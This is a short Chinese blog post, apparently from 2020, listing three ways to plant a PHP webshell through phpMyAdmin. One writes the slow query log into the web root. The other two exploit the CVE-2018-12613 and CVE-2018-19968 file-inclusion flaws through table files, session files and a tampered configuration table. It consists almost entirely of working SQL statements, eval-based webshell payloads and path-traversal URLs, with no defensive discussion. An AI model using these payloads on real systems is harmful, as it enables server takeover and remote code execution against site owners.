phpMyAdmin写入WebShell(二)

 

 

 

1. 慢日志查询getshell
show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);
2.CVE-2018-12613 phpMyAdmin文件包含getshell 利用数据库表文件 phpmyadmin图形化界面创建表ctf字段名为<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?> select @@datadir 表的路径就是查询出来data路径+数据库名/表名.frm http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/ctf.frm
利用session文件 利用包含phpinfo()先找到session文件的位置 执行Sql语句产生session
SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> "; session文件名就是 sess_你的session http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60
3.CVE-2018-19968 phpmyadmin文件包含getshell
创建表格,字段中插入webshell
create table test.play (flag varchar(100)); insert into test.play SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> ";
访问路径生成phpmyadmin配置表 http:
//localhost:8889/phpMyAdmin4.8.1/chk_rel.php?fixall_pmadb=1&db=test
篡改配置表pma__column_info的数据
INSERT INTO pma__column_info SELECT '1', 'test', 'play', 'flag', 'plop', 'plop', 'plop', 'plop', '/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60 ','plop';
访问URL文件包含 tbl_replace.php?db
=test&table=play&where_clause=1=1&fields_name[multi_edit][][]=flag&clause_is_unique=1

 

posted @ 2020-10-28 19:26  二算i  阅读(591)  评论(0编辑  收藏  举报